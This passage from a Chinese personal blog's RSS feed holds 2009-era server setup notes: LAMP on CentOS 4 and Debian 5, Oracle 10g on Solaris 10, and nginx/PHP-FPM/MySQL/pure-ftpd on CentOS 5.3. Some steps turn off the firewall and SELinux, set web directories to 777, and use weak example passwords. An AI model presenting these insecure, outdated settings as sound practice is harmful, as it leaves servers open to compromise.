			<content:encoded><![CDATA[<p>由于网站国庆中秋假期出了点问题，是网站服务器管理员人为因素造成的网站不能访问。俺深思之下，决定外迁网站，就跟其它相熟的网友伸请一个免费的VPS主机，空间不大那种。，但空间完全让俺管理，没有其它网站服务的。而且环境还是裸机环境，也就是除了基本系统，以及一个yum外。没有其它网络服务在运行。也就是apache mysql,php环境要自已完全搭建。在搭建apache mysql php环境虽遇到一些波折。但也学习懂得许多，也了解到更多，同时，也精进俺在linux/unix的服务器维护以及以及数据库维护持术。由于俺很久没用linux，以往也少用yum这种软件版本升级安装工具。所以，俺也借此环境搭建，熟悉了yum这种软件版本升级安装工具，以及相关命令。。。。<br />
由于服友的vps 系统是centos 4.2 所以，也只能安装apache2,mysql4,php4 ，可能由yum源的限制，centos 4只能安装apache2,mysql4,php4 ,暂时没有找到可以在centos4.安装apache2,mysql5,php5的源。当然，俺从中也懂得如何修改yum的源。俺之前都说，俺很少用yum。这些也顺便熟悉yum源的设置与相关命令使用。。　<br />
俺在安装apache2,mysql4,php4时，借鉴一些网上的文档，由于网上的文档千篇一律，大同小异，并且都没有什么验证过。致使俺在安装amp环境时，遇到一些疑惑或者问题，但后来都懂过经验来判断解决。。。下面就是俺的安装笔记。跟网上一些文档有些区别，算是俺的修订版吧。。。</p>
<p><span id="more-1310"></span><br />
centos  用yum来管理安装Apache+PHP+Mysql的基本安装。<br />
1. 安装Apahce, PHP, Mysql, 以及php连接mysql库组件。<br />
yum -y install httpd php mysql mysql-server php-mysql<br />
Yum  -y install mysql*<br />
2. 配置开机启动服务<br />
/sbin/chkconfig httpd on             [设置apache服务器httpd服务开机启动]<br />
/sbin/chkconfig &#8211;add mysqld         [在服务清单中添加mysql服务]<br />
/sbin/chkconfig mysqld on             [设置mysql服务开机启动]<br />
/sbin/service httpd start            [启动httpd服务,与开机启动无关]<br />
/sbin/service mysqld start           [启动mysql服务,与开机无关]</p>
<p>Yum 安装的mysql下自动生成my.cnf没法正常使用。致使mysql无法正常启动。必需手工编辑一个新的my.cnf 文件。<br />
但就是在这点花费大量时间去排查与查文档。查了大量文档，都没有查到，最后才在一个外国网站查到有人说，centos4　默认yum安装mysql 所产生的my.cnf有问题。所以，俺才将排查重点放在my.cnf　上面。最后，在网上顺便找一个my.cnf配置代替原有的my.cnf ，之后，mysql就启动成功。。<br />
 My.cnf内容如下：<br />
[client]<br />
#password      = your_password<br />
port            = 3306<br />
socket          = /var/lib/mysql/mysql.sock </p>
<p>[mysqld]<br />
port            = 3306<br />
socket          = /var/lib/mysql/mysql.sock<br />
skip-locking<br />
key_buffer = 16M<br />
max_allowed_packet = 1M<br />
table_cache = 64<br />
sort_buffer_size = 512K<br />
net_buffer_length = 8K<br />
read_buffer_size = 256K<br />
read_rnd_buffer_size = 512K<br />
myisam_sort_buffer_size = 8M<br />
skip-innodb </p>
<p>log-bin<br />
server-id      = 1<br />
[mysqldump]<br />
quick<br />
max_allowed_packet = 16M </p>
<p>[mysql]<br />
no-auto-rehash<br />
# Remove the next comment character if you are not familiar with SQL<br />
#safe-updates </p>
<p>[isamchk]<br />
key_buffer = 20M<br />
sort_buffer_size = 20M<br />
read_buffer = 2M<br />
write_buffer = 2M </p>
<p>[myisamchk]<br />
key_buffer = 20M<br />
sort_buffer_size = 20M<br />
read_buffer = 2M<br />
write_buffer = 2M </p>
<p>[mysqlhotcopy]<br />
interactive-timeout<br />
再运行 /sbin/service mysqld start  mysql 就运行成功。<br />
3.设置mysql数据库root帐号密码。<br />
mysqladmin -u root password &#8216;newpassword&#8217;           [引号内填密码]<br />
4. 让mysql数据库更安全<br />
mysql -u root -p<br />
mysql> DROP DATABASE test;                            [删除test数据库]<br />
mysql> DELETE FROM mysql.user WHERE user = &#8221;;        [删除匿名帐户]<br />
mysql> FLUSH PRIVILEGES;                              [重载权限]<br />
5. 按照以上的安装方式, 配置出来的默认站点目录为/var/www/html/<br />
//安装apache扩展<br />
yum -y install httpd-manual mod_ssl mod_perl mod_auth_mysql<br />
//安装php的扩展<br />
yum install php-gd<br />
yum -y install php-gd php-xml php-mbstring php-ldap php-pear php-xmlrpc<br />
//安装mysql扩展<br />
yum -y install mysql-connector-odbc mysql-devel libdbi-dbd-mysql</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1310.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>在Solaris10系统上安装Oracle10g数据库</title>
		<link>http://www.evanjiang.net.cn/archives/1277.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1277.html#comments</comments>
		<pubDate>Tue, 11 Aug 2009 16:17:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[oracle]]></category>
		<category><![CDATA[sun unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1277</guid>
		<description><![CDATA[<p>1、安装solaris10过程略
1. 修改内核</p>
<p>vi /etc/system</p>
<p>set shmsys:shminfo_shmmax=268435456（本机内存为512M）</p>
<p>set shmsys:shminfo_shmmin=1</p>
<p>set shmsys:shminfo_shmmni=100</p>
<p>set shmsys:shminfo_shmseg=10</p>
<p>set semsys:seminfo_semmni=110</p>
<p>set semsys:seminfo_semmns=310</p>
<p>2. 创建用户和组</p>
<p># groupadd dba</p>
<p>#useradd –g dba –d /export/home/oracle –m oracle</p>
<p>#passwd oracle </p>
<p>3.设定oracle用户的环境参数</p>
<p>#su – oracle</p>
<p>$vi .profile        # 加入内容：</p>
<p>ORACLE_BASE=/export/home/oracle </p>
<p>ORACLE_HOME=$ORACLE_BASE/product/10.0 </p>
<p>ORACLE_SID=ora10g

NLS_LANG=AMERICAN_AMERICA.ZHS16GBK </p>
<p>PATH=$ORACLE_HOME/bin:/bin:/sbin:/usr/ccs/bin:/usr/local/bin </p>
<p>LD_LIBRARY_PATH=$ORACLE_HOME/lib:$ORACLE_HOME/network/lib:/usr/local/lib:/usr/lib </p>
<p>TMPDIR=/var/tmp </p>
<p>export ORALCE_BASE ORACLE_HOME ORACLE_SID NLS_LANG PATH </p>
<p>LD_LIBRARY_PATH  DISPLAY TMPDIR </p>
<p>umask 022</p>
<p># DISPLAY=192.168.0.178:0.0   俺在安装时会报错，后来就注释</p>
<p>4.解压oracle 10g安装包</p>
<p>将长长的文件名改为sol10g.cpio.gz</p>
<p>#cp sol10g.cpio.gz [...]]]></description>
			<content:encoded><![CDATA[<p>1、安装solaris10过程略<br />
1. 修改内核</p>
<p>vi /etc/system</p>
<p>set shmsys:shminfo_shmmax=268435456（本机内存为512M）</p>
<p>set shmsys:shminfo_shmmin=1</p>
<p>set shmsys:shminfo_shmmni=100</p>
<p>set shmsys:shminfo_shmseg=10</p>
<p>set semsys:seminfo_semmni=110</p>
<p>set semsys:seminfo_semmns=310</p>
<p>2. 创建用户和组</p>
<p># groupadd dba</p>
<p>#useradd –g dba –d /export/home/oracle –m oracle</p>
<p>#passwd oracle </p>
<p>3.设定oracle用户的环境参数</p>
<p>#su – oracle</p>
<p>$vi .profile        # 加入内容：</p>
<p>ORACLE_BASE=/export/home/oracle </p>
<p>ORACLE_HOME=$ORACLE_BASE/product/10.0 </p>
<p>ORACLE_SID=ora10g<br />
<span id="more-1277"></span><br />
NLS_LANG=AMERICAN_AMERICA.ZHS16GBK </p>
<p>PATH=$ORACLE_HOME/bin:/bin:/sbin:/usr/ccs/bin:/usr/local/bin </p>
<p>LD_LIBRARY_PATH=$ORACLE_HOME/lib:$ORACLE_HOME/network/lib:/usr/local/lib:/usr/lib </p>
<p>TMPDIR=/var/tmp </p>
<p>export ORALCE_BASE ORACLE_HOME ORACLE_SID NLS_LANG PATH </p>
<p>LD_LIBRARY_PATH  DISPLAY TMPDIR </p>
<p>umask 022</p>
<p># DISPLAY=192.168.0.178:0.0   俺在安装时会报错，后来就注释</p>
<p>4.解压oracle 10g安装包</p>
<p>将长长的文件名改为sol10g.cpio.gz</p>
<p>#cp sol10g.cpio.gz /export/home</p>
<p>在解压 #gunzip sol10g.cpio.gz</p>
<p>#cpio –ivmd < 10g.cpio</p>
<p>修改/export/home/Disk1/install里，修改oraparam.ini  oraparam.var 的版本声明Solaris=5.6,5.7,5.8,5.9,</p>
<p>5.安装</p>
<p>以oracle帐号进行安装</p>
<p>./runInstaller  后面的步骤就简单</p>
<p> 在solaris10上安装oracle10g过程及问题简单记录<br />
下载的文件为solarisx86_DB_10_1_0_3_Disk1.cpio.gz<br />
1、首先解gz文件<br />
      #gunzip solarisx86_DB_10_1_0_3_Disk1.cpio.gz<br />
2、解cpio文件<br />
      #cpio -idmv < solarisx86_DB_10_1_0_3_Disk1.cpio<br />
3、安装时提示：<br />
      Checking operating system version: must be 5.6, 5.7, 5.8 or 5.9. Actual 5.10<br />
      Failed <<<<<br />
      问题解决：<br />
在&#8230;&#8230;../Disk1/install里，修改oraparam.ini oraparam.var</p>
<p>修改如下：<br />
vi oraparam.ini</p>
<p>#You can customise error message shown for failure through CERTIFIED_VERSION_FAI<br />
LURE_MESSAGE<br />
Solaris=5.6,5.7,5.8,5.9,5.10 （就是添加5.10）<br />
Linux=redhat-2.1AS<br />
#HPUX=B.11.00<br />
Decunix=V5.1A,V5.1<br />
AIX=5.1.0.0</p>
<p>vi oraparam.var</p>
<p>#You can customise error message shown for failure through CERTIFIED_VERSION_FAI<br />
LURE_MESSAGE<br />
Solaris=5.8,5.9,5.10 （就是添加5.10）<br />
Windows=4.0,5.0,5.1,5.2<br />
Linux=redhat-2.1AS<br />
HPUX=B.11.11<br />
Decunix=V5.1A,V5.1<br />
AIX=5.1.0.0</p>
<p>保存，再执行./runInstaller 。</p>
<p>Oracle10g EM乱码之快速解决<br />
如果安装时,我们系统环境变量设置的是中文环境,那么就不会有这个问题.这个问题根本原因在于安装时,JDK/JRE字符集的自动选择.<br />
在 $ORACLE_HOME/jdk/jre/lib 和 $ORACLE_HOME/jre/1.4.2/lib/ 目录下都有多种字符集字体配置文件:</p>
<p>[oracle@danaly ~]$ cd $ORACLE_HOME/jdk/jre/lib<br />
[oracle@danaly lib]$ ls font*zh_CN*<br />
font.properties.zh_CN.Redhat  font.properties.zh_CN.Redhat2.1<br />
font.properties.zh_CN.Sun  font.properties.zh_CN_UTF8.Sun<br />
[oracle@danaly lib]$ cd $ORACLE_HOME/jre/1.4.2/lib/<br />
[oracle@danaly lib]$ ls font*zh_CN*<br />
font.properties.zh_CN.Redhat  font.properties.zh_CN.Redhat2.1<br />
font.properties.zh_CN.Sun  font.properties.zh_CN_UTF8.Sun<br />
我们只要用合适的中文字符集文件替换缺省文件即可,我选择使用font.properties.zh_CN.Redhat来替换缺省字体定义文件:<br />
[oracle@danaly lib]$ cp font.properties.zh_CN.Redhat font.properties<br />
替换之后需要清理一下Cache,重启EM即可.<br />
Cache路径通常位于:<br />
$ORACLE_HOME/oc4j/j2ee/oc4j_applications/applications/em/em/cabo/images/cache/zhs<br />
清除所有gif文件即可.然后重新启动EM:<br />
[oracle@danaly zhs]$ emctl stop dbconsole<br />
TZ set to PRC<br />
Oracle Enterprise Manager 10g Database Control Release 10.2.0.1.0<br />
Copyright (c) 1996, 2005 Oracle Corporation.  All rights reserved.</p>
<p>http://danaly.hurrray.com.cn:1158/em/console/aboutApplication</p>
<p>Stopping Oracle Enterprise Manager 10g Database Control &#8230;<br />
 &#8230;  Stopped.<br />
[oracle@danaly zhs]$ emctl start dbconsole<br />
TZ set to PRC<br />
Oracle Enterprise Manager 10g Database Control Release 10.2.0.1.0<br />
Copyright (c) 1996, 2005 Oracle Corporation.  All rights reserved.</p>
<p>http://danaly.hurrray.com.cn:1158/em/console/aboutApplication</p>
<p>Starting Oracle Enterprise Manager 10g Database Control &#8230;&#8230;&#8230;&#8230;.. started.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Logs are generated in directory<br />
/opt/oracle/product/10.2.0/danaly.hurrray.com.cn_danaly/sysman/log<br />
现在登陆Web页面,EM显示就可以正常显示中文.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1277.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>centos 5.3服务器配置nginx php mysql pureftpd备忘录</title>
		<link>http://www.evanjiang.net.cn/archives/1275.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1275.html#comments</comments>
		<pubDate>Tue, 11 Aug 2009 16:10:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[redhat linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1275</guid>
		<description><![CDATA[<p>服务器硬件环境：vps/20G硬盘/256M内存
服务器系统：centos 5.3 32位
WEB服务器所有相关软件：nginx/php/mysql/pureftpd/eaccelerator/ZendOptimizer/pcre等
系统安装：text文本安装，无任何软件。
1dmesg查看有无错误
升级系统到最新yum -y update
关闭防火墙
#service iptables stop
#chkconfig iptables off
2关闭selinux
使用文本编辑工具打开 /etc/selinux/config
把 SELINUX=enforcing 注释掉：#SELINUX=enforcing ，然后新加一行为：SELINUX=disabled
保存，关闭。
3停止ipv6
vi /etc/sysconfig/network
NETWORKING_IPV6=no
网上所说的下面这种方法会在启动时报错。千万不要乱用。
vi /etc/modprobe.conf
在文件末尾加上
alias net-pf-10 off
alias ipv6 off
4修改SSH配置
vi /etc/ssh/sshd_config
禁止空密码登录
找到
#PermitEmptyPasswords no
去掉前面的 #
5:yum升级
yum install yum-fastestmirror -y
yum upgrade -y
yum install wget #安装wget
yum install setuptool #安装setup
yum install gcc gcc-c++ autoconf vixie-cron #vixie-cron软件包是cron的主程序
yum install gcc gcc-c++ autoconf crontabs #crontabs软件包是用来安装、卸装、或列举用来驱动 cron 守护进程的表格的程序

yum install make #安装make
LANG=C
yum -y install gcc gcc-c++ autoconf [...]]]></description>
			<content:encoded><![CDATA[<p>服务器硬件环境：vps/20G硬盘/256M内存<br />
服务器系统：centos 5.3 32位<br />
WEB服务器所有相关软件：nginx/php/mysql/pureftpd/eaccelerator/ZendOptimizer/pcre等<br />
系统安装：text文本安装，无任何软件。<br />
1dmesg查看有无错误<br />
升级系统到最新yum -y update<br />
关闭防火墙<br />
#service iptables stop<br />
#chkconfig iptables off<br />
2关闭selinux<br />
使用文本编辑工具打开 /etc/selinux/config<br />
把 SELINUX=enforcing 注释掉：#SELINUX=enforcing ，然后新加一行为：SELINUX=disabled<br />
保存，关闭。<br />
3停止ipv6<br />
vi /etc/sysconfig/network<br />
NETWORKING_IPV6=no<br />
网上所说的下面这种方法会在启动时报错。千万不要乱用。<br />
vi /etc/modprobe.conf<br />
在文件末尾加上<br />
alias net-pf-10 off<br />
alias ipv6 off<br />
4修改SSH配置<br />
vi /etc/ssh/sshd_config<br />
禁止空密码登录<br />
找到<br />
#PermitEmptyPasswords no<br />
去掉前面的 #<br />
5:yum升级<br />
yum install yum-fastestmirror -y<br />
yum upgrade -y<br />
yum install wget #安装wget<br />
yum install setuptool #安装setup<br />
yum install gcc gcc-c++ autoconf vixie-cron #vixie-cron软件包是cron的主程序<br />
yum install gcc gcc-c++ autoconf crontabs #crontabs软件包是用来安装、卸装、或列举用来驱动 cron 守护进程的表格的程序<br />
<span id="more-1275"></span><br />
yum install make #安装make<br />
LANG=C<br />
yum -y install gcc gcc-c++ autoconf libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxml2<br />
libxml2-devel zlib zlib-devel glibc glibc-devel glib2 glib2-devel bzip2 bzip2-devel ncurses ncurses-devel curl curl<br />
-devel e2fsprogs e2fsprogs-devel krb5 krb5-devel libidn libidn-devel openssl openssl-devel openldap openldap-devel<br />
nss_ldap openldap-clients openldap-servers<br />
6:修改时区<br />
修改Linux时区为东八区<br />
cp -f /usr/share/zoneinfo/Asia/Shanghai /etc/localtime<br />
将系统时间设定成2009年07月22日的命令如下。<br />
#date -s 07/22/09<br />
将系统时间设定成下午4点45分0秒的命令如下。<br />
#date -s 16:45:00<br />
#clock -w #这个命令强制把系统时间写入CMOS<br />
7:优化Linux内核参数<br />
vi /etc/sysctl.conf#在末尾增加以下内容：<br />
# Add<br />
net.ipv4.tcp_max_syn_backlog = 65536<br />
net.core.netdev_max_backlog =  32768<br />
net.core.somaxconn = 32768<br />
net.core.wmem_default = 8388608<br />
net.core.rmem_default = 8388608<br />
net.core.rmem_max = 16777216<br />
net.core.wmem_max = 16777216<br />
net.ipv4.tcp_timestamps = 0<br />
net.ipv4.tcp_synack_retries = 2<br />
net.ipv4.tcp_syn_retries = 2<br />
net.ipv4.tcp_tw_recycle = 1<br />
#net.ipv4.tcp_tw_len = 1<br />
net.ipv4.tcp_tw_reuse = 1<br />
net.ipv4.tcp_mem = 94500000 915000000 927000000<br />
net.ipv4.tcp_max_orphans = 3276800<br />
#net.ipv4.tcp_fin_timeout = 30<br />
#net.ipv4.tcp_keepalive_time = 120<br />
net.ipv4.ip_local_port_range = 1024  65535<br />
使配置立即生效：/sbin/sysctl -p<br />
重启系统。<br />
编译安装PHP 5.2.10所需的支持库<br />
tar zxvf libiconv-1.13.tar.gz<br />
cd libiconv-1.13/<br />
./configure –prefix=/usr/local<br />
make<br />
make install<br />
cd ../<br />
tar zxvf libmcrypt-2.5.8.tar.gz<br />
cd libmcrypt-2.5.8/<br />
./configure<br />
make<br />
make install<br />
/sbin/ldconfig<br />
cd libltdl/<br />
./configure –enable-ltdl-install<br />
make<br />
make install<br />
cd ../../<br />
tar zxvf mhash-0.9.9.9.tar.gz<br />
cd mhash-0.9.9.9/<br />
./configure<br />
make<br />
make install<br />
cd ../<br />
ln -s /usr/local/lib/libmcrypt.la /usr/lib/libmcrypt.la<br />
ln -s /usr/local/lib/libmcrypt.so /usr/lib/libmcrypt.so<br />
ln -s /usr/local/lib/libmcrypt.so.4 /usr/lib/libmcrypt.so.4<br />
ln -s /usr/local/lib/libmcrypt.so.4.4.8 /usr/lib/libmcrypt.so.4.4.8<br />
ln -s /usr/local/lib/libmhash.a /usr/lib/libmhash.a<br />
ln -s /usr/local/lib/libmhash.la /usr/lib/libmhash.la<br />
ln -s /usr/local/lib/libmhash.so /usr/lib/libmhash.so<br />
ln -s /usr/local/lib/libmhash.so.2 /usr/lib/libmhash.so.2<br />
ln -s /usr/local/lib/libmhash.so.2.0.1 /usr/lib/libmhash.so.2.0.1<br />
tar zxvf mcrypt-2.6.8.tar.gz<br />
cd mcrypt-2.6.8/<br />
/sbin/ldconfig<br />
./configure<br />
make<br />
make install<br />
cd ../<br />
编译安装MySQL<br />
/usr/sbin/groupadd mysql<br />
/usr/sbin/useradd -g mysql mysql<br />
tar zxvf mysql-5.0.51a.tar.gz<br />
cd mysql-5.0.51a/<br />
./configure –prefix=/usr/local/mysql –localstatedir=/var/lib/mysql –with-mysqld-user=mysql –without-debug –<br />
with-big-tables –with-charset=utf8 –with-extra-charsets=all –with-pthread –enable-static –enable-thread-safe-<br />
client –with-client-ldflags=-all-static –with-mysqld-ldflags=-all-static –enable-assembler –without-innodb –<br />
without-ndb-debug –without-isam<br />
make<br />
make install<br />
chown -R mysql /usr/local/mysql<br />
chgrp -R mysql /usr/local/mysql<br />
./scripts/mysql_install_db –user=mysql –datadir=/var/lib/mysql<br />
chown -R mysql /var/lib/mysql<br />
chgrp -R mysql /var/lib/mysql<br />
chown -R mysql /var/lib/mysql/mysql/<br />
#cp my.cnf /data0/mysql/3306/my.cnf<br />
#cp mysql /data0/mysql/3306/mysql<br />
chmod +x /data0/mysql/3306/mysql<br />
启动MySQL<br />
/data0/mysql/3306/mysql start<br />
通过命令行登录管理MySQL服务器（提示输入密码时直接回车）：<br />
/usr/local/mysql/bin/mysql -u root -p -S /tmp/mysql.sock<br />
update user set password=password(’123456′) where user=’root’;<br />
停止MySQL<br />
/data0/mysql/3306/mysql stop<br />
netstat -atln<br />
编译安装PHP（FastCGI模式）<br />
tar zxvf php-5.2.10.tar.gz<br />
yum install patch<br />
gzip -cd php-5.2.10-fpm-0.5.11.diff.gz | patch -d php-5.2.10 -p1<br />
cd php-5.2.10/<br />
./configure –prefix=/usr/local/php –with-config-file-path=/usr/local/php/etc –with-mysql=/usr/local/mysql –with<br />
-mysqli=/usr/local/mysql/bin/mysql_config –with-iconv-dir=/usr/local –with-freetype-dir –with-jpeg-dir –with-<br />
png-dir –with-zlib –with-libxml-dir=/usr –enable-xml –disable-rpath –enable-discard-path –enable-safe-mode –<br />
enable-bcmath –enable-shmop –enable-sysvsem –enable-inline-optimization –with-curl –with-curlwrappers –enable<br />
-mbregex –enable-fastcgi –enable-fpm –enable-force-cgi-redirect –enable-mbstring –with-mcrypt –with-gd –<br />
enable-gd-native-ttf –with-openssl –with-mhash –enable-pcntl –enable-sockets –with-ldap –with-ldap-sasl –<br />
with-xmlrpc –enable-zip –enable-soap –without-pear –enable-pdo –with-pdo-sqlite –with-pdo-<br />
mysql=/usr/local/mysql/bin/mysql_config<br />
make ZEND_EXTRA_LIBS=’-liconv’<br />
make install<br />
cp php.ini-dist /usr/local/php/etc/php.ini<br />
tar jxvf eaccelerator-0.9.5.3.tar.bz2<br />
cd eaccelerator-0.9.5.3/<br />
/usr/local/php/bin/phpize<br />
./configure –enable-eaccelerator=shared –with-php-config=/usr/local/php/bin/php-config<br />
make<br />
make install<br />
cd ../<br />
mkdir -p /usr/local/eaccelerator_cache<br />
#echo php.ini<br />
zend_extension=”/usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/eaccelerator.so”<br />
eaccelerator.shm_size=”64″<br />
eaccelerator.cache_dir=”/usr/local/eaccelerator_cache”<br />
eaccelerator.enable=”1″<br />
eaccelerator.optimizer=”1″<br />
eaccelerator.check_mtime=”1″<br />
eaccelerator.debug=”0″<br />
eaccelerator.filter=”&#8221;<br />
eaccelerator.shm_max=”0″<br />
eaccelerator.shm_ttl=”3600″<br />
eaccelerator.shm_prune_period=”3600″<br />
eaccelerator.shm_only=”0″<br />
eaccelerator.compress=”1″<br />
eaccelerator.compress_level=”9″<br />
rm -f /usr/local/php/etc/php-fpm.conf<br />
vi /usr/local/php/etc/php-fpm.conf<br />
启动php-cgi进程，监听127.0.0.1的9000端口，进程数为200（如果服务器内存小于3GB，可以只开启64个进程）<br />
ulimit -SHn 51200<br />
/usr/local/php/sbin/php-fpm start<br />
注：/usr/local/php/sbin/php-fpm还有其他参数，包括：start|stop|quit|restart|reload|logrotate，修改php.ini后不重启php<br />
-cgi，重新加载配置文件使用reload<br />
/usr/sbin/groupadd www<br />
/usr/sbin/useradd -g www www<br />
mkdir -p /data0/htdocs/blog<br />
chmod +w /data0/htdocs/blog<br />
chown -R www:www /data0/htdocs/blog<br />
mkdir -p /data0/htdocs/www<br />
chmod +w /data0/htdocs/www<br />
chown -R www:www /data0/htdocs/www<br />
安装Nginx所需的pcre库<br />
tar zxvf pcre-7.9.tar.gz<br />
cd pcre-7.9/<br />
./configure<br />
make &#038;&#038; make install<br />
cd ../<br />
tar zxvf nginx-0.8.4.tar.gz<br />
cd nginx-0.8.4/<br />
./configure –user=www –group=www –prefix=/usr/local/nginx –with-http_stub_status_module –with-http_ssl_module<br />
make &#038;&#038; make install<br />
cd ../<br />
创建Nginx日志目录<br />
mkdir -p /data1/logs<br />
chmod +w /data1/logs<br />
chown -R www:www /data1/logs<br />
启动Nginx<br />
ulimit -SHn 51200<br />
/usr/local/nginx/sbin/nginx<br />
修改/usr/local/nginx/conf/nginx.conf配置文件后，请执行以下命令检查配置文件是否正确<br />
/usr/local/nginx/sbin/nginx -t<br />
kill -HUP `cat /usr/local/nginx/nginx.pid`<br />
#cp cut_nginx_log.sh /usr/local/nginx/sbin/cut_nginx_log.sh<br />
设置crontab，每天凌晨00:00切割nginx访问日志<br />
配置开机自动启动Nginx + PHP<br />
ulimit -SHn 51200<br />
/usr/local/php/sbin/php-fpm start<br />
/usr/local/nginx/sbin/nginx<br />
/data0/mysql/3306/mysql start<br />
安装ZendOptimizer，<br />
# tar zxvf ZendOptimizer-3.0.1-linux-glibc21-i386.tar.gz<br />
# cd ZendOptimizer-3.0.1-linux-glibc21-i386<br />
# ./install.sh<br />
安装pureftpd<br />
tar -zxvf pure-ftpd*<br />
cd pure-ftpd-1.0.21<br />
./configure –prefix=/usr/local/pureftpd  –with-puredb  –with-rfc2640  –with-language=simplified-chinese;<br />
make &#038;&#038; make install<br />
mkdir /usr/local/pureftpd/etc<br />
cd configuration-file<br />
chmod u+x pure-config.pl<br />
cp pure-config.pl /usr/local/pureftpd/bin<br />
cp pure-ftpd.conf /usr/local/pureftpd/etc<br />
cd ..<br />
cp pureftpd* /usr/local/pureftpd/etc/<br />
#ln -s /usr/local/lib/libiconv.so.2 /usr/lib/libiconv.so.2<br />
修改配置文件<br />
vim /usr/local/pureftpd/etc/pure-ftpd.conf<br />
NoAnonymous                 yes<br />
Bind                     222.73.*.*,*<br />
添加系统用户<br />
groupadd ftpgroup<br />
useradd -g ftpgroup -d /dev/null -s /sbin/nologin ftpuser<br />
chown ftpuser:ftpgroup /data0/htdocs/www<br />
chmod -R 777 /data0/htdocs/www<br />
/usr/local/pureftpd/bin/pure-pw useradd learsu  -u ftpuser -d /data0/htdocs/www  -r 125.41.143.78<br />
更新虚拟账户文件<br />
/usr/local/pureftpd/bin/pure-pw mkdb /usr/local/pureftpd/etc/pureftpd.pdb  /usr/local/pureftpd/etc/pureftpd.passwd<br />
虚拟账户启动<br />
/usr/local/pureftpd/sbin/pure-ftpd  -j -l puredb:/usr/local/pureftpd/etc/pureftpd.pdb &#038;<br />
虚拟账户修改<br />
/usr/local/pureftpd/bin/pure-pw usermod learsu  -r 125.41.143.78<br />
虚拟账户删除<br />
/usr/local/pureftpd/bin/pure-pw userdel <login> [-f
<passwd file>] [-m]<br />
改变用户口令<br />
/usr/local/pureftpd/bin/pure-pw <login> [-f
<passwd file>] [-m]<br />
显示用户信息<br />
/usr/local/pureftpd/bin/pure-pw show <login> [-f
<passwd file>]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1275.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Debian 配置 LAMP (debian5.0+apache2.2+mysql5.0+php5.0 )</title>
		<link>http://www.evanjiang.net.cn/archives/1271.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1271.html#comments</comments>
		<pubDate>Sat, 08 Aug 2009 07:17:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[debian linux]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1271</guid>
		<description><![CDATA[<p>一、安装基本程式
~#apt-get install apache2 mysql-server php5 php5-mysql  phpmyadin pear php5-gd
#在安装过程序会提示你设置mysql的root用户密码。</p>
<p>在Debian下只要安装相关软体，无需修改任何配置文件，把网页程序上传到/var/www目录，更改权限为777，服务器就能够工作！
二、LAMP简单配置
经过前面的步骤，服务器就能够正常运行，但是有时候达不到我们的要求，所以掌握基本配置方法是很有必要的。</p>
<p>1、建立mysql数据库，并添一个仅拥有这些数据库权限的用户，以便网页程序使用，提高服务器的安全性。
~#mysql -h127.1 -uroot -pabcabc
#连接mysql服务器，其中-h是主机，-u是用户名，-p是密码。注意各参数与附值之间没有空格。
> create database lamp;
#创建数据库lamp，注意mysql内部命令必需以“;”结尾。
>show databases;
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+
&#124; Database           &#124;
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+
&#124; information_schema &#124;
&#124; lamp               &#124;
&#124; mysql        [...]]]></description>
			<content:encoded><![CDATA[<p>一、安装基本程式<br />
~#apt-get install apache2 mysql-server php5 php5-mysql  phpmyadin pear php5-gd<br />
#在安装过程序会提示你设置mysql的root用户密码。</p>
<p>在Debian下只要安装相关软体，无需修改任何配置文件，把网页程序上传到/var/www目录，更改权限为777，服务器就能够工作！<br />
二、LAMP简单配置<br />
经过前面的步骤，服务器就能够正常运行，但是有时候达不到我们的要求，所以掌握基本配置方法是很有必要的。</p>
<p>1、建立mysql数据库，并添一个仅拥有这些数据库权限的用户，以便网页程序使用，提高服务器的安全性。<br />
~#mysql -h127.1 -uroot -pabcabc<br />
#连接mysql服务器，其中-h是主机，-u是用户名，-p是密码。注意各参数与附值之间没有空格。<br />
> create database lamp;<br />
#创建数据库lamp，注意mysql内部命令必需以“;”结尾。<br />
>show databases;<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
| Database           |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
| information_schema |<br />
| lamp               |<br />
| mysql              |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
4 rows in set (0.00 sec)<br />
#查看数据库。<br />
>grant all on lamp.* to lyb@localhost identified by &#8216;abc123&#8242;;<br />
#建立用户名lyb，只允许本地登录，密码为“abc123”，仅拥有数据库lamp的完全权限。l<br />
<span id="more-1271"></span><br />
2、apache2配置文件介绍。<br />
Debian 5.0 的apache2的配置文件全在/etc/apache2/目录下面。<br />
apache2.conf<br />
#apache的全局配置文件。<br />
envvars<br />
#定义apache的用户环境。<br />
ports.conf<br />
#定义监听端口。<br />
httpd.conf<br />
#默认为空文件，一般用户自已添加的选项写入这里。<br />
mods-available<br />
#以load文件结尾的是加载相应模块选项，以conf文件结尾的是相应模块选项。<br />
mods-enabled<br />
#都是指向mods-available下面的文件的链接文件，需要启用那些模块就在此建立相关链接即可。<br />
sites-available<br />
